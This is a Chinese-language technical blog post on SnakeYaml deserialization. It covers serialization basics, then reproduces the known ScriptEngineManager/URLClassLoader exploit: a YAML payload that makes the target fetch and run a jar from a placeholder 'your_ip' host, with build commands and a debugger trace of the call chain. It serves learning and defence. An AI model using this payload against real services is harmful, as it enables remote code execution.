SnakeYaml反序列化
什么是SnakeYaml?
snakeyaml包主要用来解析yaml格式的内容,yaml语言比普通的xml与properties等配置文件的可读性更高,像是Spring系列就支持yaml的配置文件,而SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。
语法参考:https://www.yiibai.com/yaml
SnakeYaml序列化与反序列化
依赖如下:
1 2 3 4 5
| <dependency> <groupId>org.yaml</groupId> <artifactId>snakeyaml</artifactId> <version>1.27</version> </dependency>
|
常用方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| String dump(Object data) 将Java对象序列化为YAML字符串。 void dump(Object data, Writer output) 将Java对象序列化为YAML流。 String dumpAll(Iterator<? extends Object> data) 将一系列Java对象序列化为YAML字符串。 void dumpAll(Iterator<? extends Object> data, Writer output) 将一系列Java对象序列化为YAML流。 String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle) 将Java对象序列化为YAML字符串。 String dumpAsMap(Object data) 将Java对象序列化为YAML字符串。 <T> T load(InputStream io) 解析流中唯一的YAML文档,并生成相应的Java对象。 <T> T load(Reader io) 解析流中唯一的YAML文档,并生成相应的Java对象。 <T> T load(String yaml) 解析字符串中唯一的YAML文档,并生成相应的Java对象。 Iterable<Object> loadAll(InputStream yaml) 解析流中的所有YAML文档,并生成相应的Java对象。 Iterable<Object> loadAll(Reader yaml) 解析字符串中的所有YAML文档,并生成相应的Java对象。 Iterable<Object> loadAll(String yaml) 解析字符串中的所有YAML文档,并生成相应的Java对象。
|
主要关注序列化与反序列化
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。
- Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
- Yaml.dump():将一个对象转化为yaml文件形式;
序列化
User类
1 2 3 4 5 6 7 8 9 10 11
| public class User { public String name;
public void setName(String name) { this.name = name; }
public String getName() { return name; } }
|
测试类
1 2 3 4 5 6 7 8 9 10 11
| import org.yaml.snakeyaml.Yaml;
public class SnakeYamlDemo { public static void main(String[] args) { User user = new User(); user.setName("ycxlo"); Yaml yaml = new Yaml(); String dump = yaml.dump(user); System.out.println(dump); } }
|
输出结果:
这里的!!
类似于fastjson中的@type
用于指定反序列化的全类名
反序列化
再来一段User代码,主要是在各个方法中都添加了print,来看一下反序列化时会触发这个类的哪些方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public class User2 {
String name; int age;
public User2() { System.out.println("User构造函数"); }
public String getName() { System.out.println("User.getName"); return name; }
public void setName(String name) { System.out.println("User.setName"); this.name = name; }
public int getAge() { System.out.println("User.getAge"); return age; }
public void setAge(int age) { System.out.println("User.setAge"); this.age = age; }
}
|
测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import org.yaml.snakeyaml.Yaml;
public class SnakeYamlDemo { public static void main(String[] args) { User2 user = new User2(); user.setName("ycxlo"); user.setAge(18); Yaml yaml = new Yaml(); String dump = yaml.dump(user); System.out.println(dump); String s = "!!User2 {age: 18, name: ycxlo}"; yaml.load(s); } }
|
运行结果:
可以看到,在序列化时触发了getter方法,在反序列化时触发了setter方法和构造方法
SnakeYaml反序列化漏洞
影响版本
全版本
漏洞原理
yaml反序列化时可以通过!!
+全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造ScriptEngineManager
payload并利用SPI机制通过URLClassLoader
或者其他payload如JNDI方式远程加载实例化恶意类从而实现任意代码执行。
漏洞复现
网上最多的一个PoC就是基于javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行。github上已经有现成的利用项目,可以更改好项目代码部署在web上即可。所以说SnakeYaml通常的一个利用条件是需要出网的
比如加一段弹计算器的代码Runtime.getRuntime().exec("calc");
然后在该目录下将其打包成jar包,并启动http服务
1 2
| javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ .
|
由于我本机不知道怎么回事,poc访问不了,所以这里使用vps启动的http服务
修改poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import org.yaml.snakeyaml.Yaml; import javax.script.ScriptEngineManager;
public class SnakeYamlDemo { public static void main(String[] args) { String context = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://your_ip:9999/yaml-payload.jar\"]\n" + " ]]\n" + "]"; Yaml yaml = new Yaml(); yaml.load(context); } }
|
调试分析
SPI会通过java.util.ServiceLoder
进行动态加载实现,而在刚刚的exp的代码里面实现了ScriptEngineFactory
并在META-INF/services/
里面添加了实现类的类名,而该类在静态代码块处是我们的执行命令的代码,而在调用的时候,SPI机制通过Class.forName
反射加载并且newInstance()
反射创建对象的时候,静态代码块进行执行,从而达到命令执行的目的。
首先在漏洞点处下个断点
讲我们传入的字符串以字节流形式读入,并调用loadFromReader方法,跟进
创建解析器,并调用了constructor.getSingleData方法
节点赋值,将我们传入的字符串进行yaml语法解析,继续调用constructDocument方法,跟进
调用了constructObject方法
constructedObjects此时为空,肯定不满足if条件,跟进constructObjectNoCheck方法
将node的键值添加进recursiveObjects,并调用了constructor.construct方法,跟进
然后将node作为constructArray方法的参数传入,继续调用constructArrayStep2方法
child就是node中一个具体的类,这里是URL,调用constructObject方法
再次调用constructObjectNoCheck方法
继续调用另一个静态类的construct方法
继续调用getConstructor(node).construct(node)
前面部分是一些解析,最后将c变为了URL类,argumentList变为对应的值,进行实例化,产生漏洞,而后就是SPI机制解析其jar文件,造成命令执行